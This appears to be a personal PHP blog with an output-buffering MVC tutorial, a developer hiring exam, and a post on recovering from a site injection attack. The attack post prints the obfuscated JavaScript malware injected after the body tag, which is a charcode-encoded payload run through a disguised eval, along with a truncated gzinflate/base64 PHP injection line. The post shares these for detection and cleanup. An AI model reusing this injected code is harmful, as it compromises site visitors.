Thursday 20 December 2012

MVC views with include() in PHP

If you are doing your first steps with MVC (ModelViewController) in PHP and not using any framework but trying to develop your own code (probably because need to upgrade -like me- an old web application make by yourself with a not MVC logic), then let me show you how i manage the view (V) content from the controller (C) file.

In this brief example i don't entry in the "model" (M) question (ie, how to manage data from database or what else). The purpose of this article is to know how manage PIECES of HTML (the "views" of the MVC) probably with dynamic php insertions in them.

The quit of the question is the CONTROL OF THE BUFFER. I don't pretend to offer here a tutorial about the php buffer, but let me remember the main concepts for the beginners:
  • the php server, by default return to the client browser whatever you output with an echo command, for example, or whatever you include in your php files outside the tags.
  • optionally, we can indicate to php for store these returned texts in a buffer and not to send to client browser until we need. In fact the system is more sophisticated and php give the developers a collection of functions for start, retrieve, clean or return this buffer. It sounds fine, it isn't?
Said this, let me show yet my example code. We only need 2 files:

view.php

1  <h1><?= $msg ?></h1>

index.php

1  <?php
2
3      $output1 
renderView('view.php','this is HEADER');
4
5      
$output2 renderView('view.php','this is FOOTER');
6
7      
$output3 renderView('view.php','this is MAIN CONTENT');
8
9       echo 
$output1.$output3.$output2;
10
11       function 
renderView($viewname,$msg){
12            
ob_start( );
13            include(
$viewname);
14            
$render ob_get_clean( );
15            
ob_end_clean();
16            return 
$render;
17       }
18
19  
?>
Read the update of 16/07/2014 about this function renderView(), because the new version let to the views recursively include other views!

Browser output

1  <h1>this is HEADER</h1>
2  <h1>this is MAIN CONTENT</h1>
3  <h1>this is FOOTER</h1>

Analysis of this codes
  • My first goal is to build the HTML of my web application in files like the view.php where the format is truly HTML&CSS and the minimal PHP code, and manage data in the "model" or the "controller" (index.php) files (in this sense, better in the model than in the controller... remember this: fat model thin controller).
  • My second goal is to CONTROL WHEN TO SEND html to client browser (or webservice, or whatever other client), because in a real environment (not like here in this toy example) i would need to manipulate these different HTML pieces that the components of my application will generate (menus, widgets, etc.) before to join in a unique HTML raw stream for send to browser.
  • for this reason, the view.php file is almost a piece of HTML&CSS code where i can INSERT pieces of php which will replace this kind of "placeholders" just like it was a template.

    It's important to note here that the variables which will be accessible from view.php are uniquely the variables accessible within the function (or method) where we use the include() command.
  • Obviously, the most interesting part of this example is the function renderView($viewname,$msg):

    • When we call ob_start() the Output Buffer begin to store all what we return as echo or what we include outside php tags (like the content of the view.php file). 
    • With ob_get_clean() we retrieve the content stored at this moment, and also empty the buffer. 
    • And finally, with ob_end_clean() we finish the buffering, although we can use it again afterward with ob_start(), as many times as we need.
Conclusion

As you see, is very simple then to build a mini MVC logic for your web applications. Think that this control of the buffer let us for example store the output in some kind of cache (in a folder of our application) before to send to browser, for example. Or we could store some "little dynamic" pieces of HTML in this cache, or we could REUSE the same generated HTML (some widget?) in different places of the same HTML page without to generate twice. Etcetera...

I hope this mini-guide has given to you some good ideas. Please, add comments and suggestions  if you have.

Update 16/07/2014

The initial renderView() function don't let to recursively include a view render inside another view render. For solve this need i improved the function just as you read below:


1  <?php
2  
function renderView($viewname,Array $vars){
3      
// == we convert the variables passed in vars
4      // == to "real" native PHP variables
5          
if (count($vars)>0){
6              foreach(
$vars as $k=>$v){
7                  ${
$k}=$v;
8              }
9          }
10      
// == we save a copy of the content already existing
11      // == at the output buffer (for no interrump it)
12          
$existing_render ob_get_clean( );
13      
// == we begin a new output
14          
ob_start( );
15          include(
dirname(__FILE__).'/view_'.$viewname.'.php');
16      
// == we get the current output
17          
$render ob_get_clean( );    
18      
// == we re-send to output buffer the existing content
19      // == before to arrive to this function ;)
20          
ob_start( );
21          echo 
$existing_render;
22         
23          return 
$render;
24  }
25  
?>
As you can see in this version you can pass an array of variables, something like this:
  • $html = renderView('main_content', array('age'=>44));
and then you can use that passed variable inside the PHP/HTML view file usgin something like this:
  • Age: <?= $age ?> years old.

Monday 2 April 2012

New PHP injection attack and also HTML injection

Just 2 years ago wrote an article about an attack to one of my websites which injected PHP code in the top of EACH php file. And i shared with you my cleaning process and some little scripts for this task.

Now, just yesterday i suffered a new attack a little different, but it inserted also injections on some of my files PHP and HTML. I'me happy for share here with you my case and my solution for help you perhaps.



== My script for help you

Yes, just like 2 years ago i would like to share with you an script for help in the detection & cleaning. Don't be wrong, hehehe... it's a simple "search" script. But you will see that it will help you a lot.

Perhaps, with a bit of luck, some of you will make an improvement in the script and upload it, and i promise to update it here for download. Really, i use this script frequently for my developing work, so i'm improving it constantly. Include, i thinked about to create an opensoruce project around it... but well.. finally i never get the necesary time :(

Here you can download SRR_search.zip (SRR, from Sergi Rodrigues Rius :P)



Edited 2012-08-16: finally i start to use GitHub for share with others my scripts, and i began sharing my php_srrFileManager where i included the SRR_search.php functions. The difference is that now, with the php_srrFileManager we have a "nice" interface for browse files, delete, move, create, rename and SEARCH, in a way more friendly. This opensource project is encapsuled in a unique PHP file, so it continue being very easy to use ;)

Note: i didn't modified the original article (below) for use this new php_srrFileManager, but i think that it not will be very much difficult to imagine it. But if you have doubts, please add a comment and i will answer as soon as possible.



== Symptoms and detection of injection

I had the luck of be alerted today by email from my hosting provider. From here, many many many thanks Christine by your effort and help!!! They are VerveHosting, and guys... really they are very good, specially in the support to their customers. Excellent and very recommendable service! Eg. in this case i'm alive still thanks to them! ;)

Apart of this, i unknow how to detect automatically this kind of intrusions. The VerveHosting team simply were alerted by monitoring the FTP log!! where you can see something like this:

15:57:46 servera585 lfd: *Suspicious Process* PID:10658 User:myuser Uptime:116 secs EXE:/usr/sbin/pure-ftpd\00]\00frm\00cgi515.sem (deleted) CMD:pure-ftpd (UPLOAD)

After detect this entry at FTP log we look for the geolocalization of the IP of this connection and effectively was in another continent (Europe) than me (America). So it proof definetively that was an intruder... apart from the fact that the files downloaded and uploaded at my server i didn't touch never since the first day that i put on server.

Perhaps is interesting also note some things of this attack:

  • the attacker upload some file, and after delete it!! probably he/she upload it, then try to execute it calling it from outside the server (probably using curl), and after delete it FOR NOT LEAVE SIGNALS of the intrusion!! I say this because if we look at an inffected site we won't find any new file.
  • i don't know if before of after the FTP connection, but they injected a PHP code encrypted and decrypted with

    echo(gzinflate(base64_decode("tVVN...

    just at the end of the files which file name end with index.php, so for example they inffected my files like admin_index.php. So, briefly, for know if you hav been inffected could open this files and see if are inffected at the bottom of the file, just before the ?>.
  • also i don't know when they inffected my index.htm files -i supose that in the same moment the inffected the PHP of the previous point. In this case, the injection is of Javascript code JUST after the body tag:
1  
2  
<body><!--d93065-->
3  <
script>
4       
c=2;i=c-2;
5       if(
parseInt("0123")===83)
6       if(
window.document)try{
7            new 
String("asd").prototype.q
8       
}catch(egewgsd){
9            
f=['
10  -30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i
11  7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i
12  58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i
13  54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75
14  i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i
15  -26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80
16  i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76
17  i75i60i22i0i65i77i77i73i19i8i8i78i71i80i72i
18  80i73i78i7i62i78i8i60i72i78i71i77i12i7i73i65
19  i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62
20  i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i
21  22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i
22  61i61i62i71i20i73i72i76i66i77i66i72i71i19i
23  58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i
24  20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70
25  i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63
26  i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i
27  75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i
28  22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i
29  77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i7
30  0i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i
31  78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8
32  i8i78i71i80i72i80i73i78i7i62i78i8i60i72i78i
33  71i77i12i7i73i65i73i0i2i20i63i7i76i77i82i69i
34  62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i
35  66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73
36  i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78
37  i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i
38  77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i
39  73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i
40  59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i
41  2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i
42  62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i
43  -26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64
44  i62i77i30i69i62i70i62i71i77i76i27i82i45i58i
45  64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7
46  i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i
47  -26i-30i-30i86'
][0].split('i');
48            
md='a';
49            
v="ev"+"al";
50       }
51       if(
v)e=window[v];
52       
w=f;s=[];r=String;
53       for(;
565!=i;i+=1){
54            
j=i;
55            
s+=r["fromC"+"harCode"](39+1*w[j]);
56       }
57       if(
f)z=s;
58       
e(z);
59  
</script>
60  
<!--/d93065-->
61  



== Cleaning

  1. Well, perhaps the first action that you must take is to change your passwords on this site, specially for FTP and SSH if you have activated the Shell Access for this hosting account.
  2. The next is to remove the injections in your PHP and HTML files!

For this, i used the script SRR_search.php that you can download above. In any case you will need at least find ONE inffected file for take its "token" and search trhough all your filesystem!

  • in the case of the PHP injections we will search:

    SRR_search.php?q=gzinflate

    although this search can return "falses positives", because you can have other files than use this php function without be inffected ;) so another search that must complement the first is this:

    SRR_search.php?q=93065

    where precisely 93065 is the "token" present at the begining of all the injections. I suspect that the attacker use a different token for each inffected site for store infor about us in his "database" .... gggggrrrrrrr

  • in the case of the HTML/javascript injections we will search:

    SRR_search.php?q=egewgsd

    because the javascript injection code has this piece: }catch(egewgsd){ although in each attacked website this code is diferent.


With these searcher you will find the files injected, and because they are only a few (the ones ended with index.php or index.htm) then you can access via FTP and extract the injection mannually ;)

I would like that my script for searching could accept symbols not alphanumeric like parenthesis or braquets, but... this signs are difficult to write as a GET variable in the URL :(( but if you are able to modify to script for show a box and accept this query string by POST... it will be wellcomed if you upload and share your improvement! ;) i konw that it's not so complicated but... sincerely... mostly of times the script is useful anyway.



== Preventive measures

  • I've read that perhaps the problem is a bug in FileZilla. As you may know, the login connection data is stored in a plain text without encryption!!!! i unknow if that is really a serious security hole... if it was so, i don't think that the FileZilla programmer hasn't take none contra-measure.
  • I've read also about a trojan virus which inffected in this same way and once inffected one website, the next visitants to the website suffer a "browser inffection" and then th attacker can read login data for other clean sites... obviously for inffect them after! well... sincerely i didn't read very much about this yet. If you have good info from your own experience, please comment here.
  • Anyway, the best we can do is change all the passwords of the sites we have cleaned (specially FTP & SSH passwords).


Final note: remember to remove the SRR_search.php file for avoid onlookers ;) Although for a better security, i put at the top of the script a checking of the IP of the call:

//if (!substr($_SERVER['REMOTE_ADDR'],0,7)=='189.170'){echo "Sorry, your IP is not authorizated.";return;}

but i commented this line, so in fact it don't take effect if you not uncomment it.

Tuesday 27 December 2011

Exam for PHP web developers (LAMP-WAMP)


Here i share with you the exam i prepared when i needed evaluate possible candidates for work with me as a web developers.

I work since the begining with PHP and MySQL (ever under Linux), i don't need a genius nor very intelligent person, but yes someone who can write PHP code manually and do the basic things with PHP/MySQL/HTML/CSS/Javascript and if possible jQuery.

Then, i created the exam that you can download here, or read below.
I hope this help someone or give any good idea ;) if you finally take this exam as inspiration and make a good improvement to it, please share with us and leave a comment!!!


NOTA: llevo 4 años y medio escribiendo artículos en este blog con el único interés de devolver a la comunidad de programadores tan solo un poquitín de todo lo que me han dado, especialmente los más generosos que no solo leen sino que también escriben!

Hasta ahora lo había hecho en "castellano" ("español", para los latinoamericanos), más sin embargo, a día de hoy el catalán está siendo tan agredido en su propio territorio (Catalunya, una región al norte de España) por los españoles castellanistas, que adopto la medida de cambiar el idioma de mis artículos al inglés como medida de boicot.

Lo siento por los latinoamericanos que desconocen esta polémica lingüística dentro del territorio español y que no tienen culpa, pero no dudo de que la mayoría entenderán perfectamente mi "limitado inglés", y si no harán uso de alguno de los traductores que corren por internet (recomiendo absolutamente: http://translate.google.com/#en|es|).


Xavals... se us ha acabat el bròquil (això no crec que ho sàpiga traduir el Google :P).


Catalonia is not spain!

=== OBJECTIVE OF THIS TEST

We need to know the skills and measure the ability of the candidate to manage the tools most used in our day to day work (in order of importance):

- PHP programming
- MySQL managing/querying
- HTML/CSS building
- Javascript programming


=== WHAT TO DO NOW?

Build a simple web application that use HTML, CSS, javascript, PHP and MySQL. The concept of the web application is:

 -> Store & manage (add/edit/list/delete) typical task notes, as "I've an exam for new job tomorrow."

Minimum elements to build:

- a database table to store elements (minimum fields: task_title, task_description,timestamp_creation,last_timestamp_edition).
- HTML page with list of elements (tasks), with buttons to edit/delete each element, and an "add new element" button.
- an edit element form, with javascript data validation before submission.
- use a CSS linked file to present the content well(list of elements and edit form).


= Notes:

1. You can call external jquery libraries if you feel more comfortable.
2. Add plenty of comments to your code (PHP, Javascript, HTML).
3. Any other elements (client or server side) that you add to the above specifications will be welcome.


=== URL: http://companydomain.com/exam/


=== DATABASE

-db_host: localhost
-db_user: exam_user
-db_passw: exam_pass
-db_database: exam_dbname

PHPMyAdmin: https://companydomain.com/phpMyAdmin/


=== FTP

-host: companydomain.com
-user: exam_user
-pass: exam_pass


=== SOFTWARE TO USE

You must only use:

- obviously a browser

- an FTP client

      + recommended: FILEZILLA (windows or linux)
      + http://filezilla-project.org/download.php?type=client)

- a SIMPLE code editor, never a sophisticated IDE
      + recommended: Windows NOTEPAD++ (windows) / Bluefish (linux)
      + http://notepad-plus-plus.org

- the database can be managed from PHP or PHPMyAdmin:

      + https://companydomain.com/phpMyAdmin/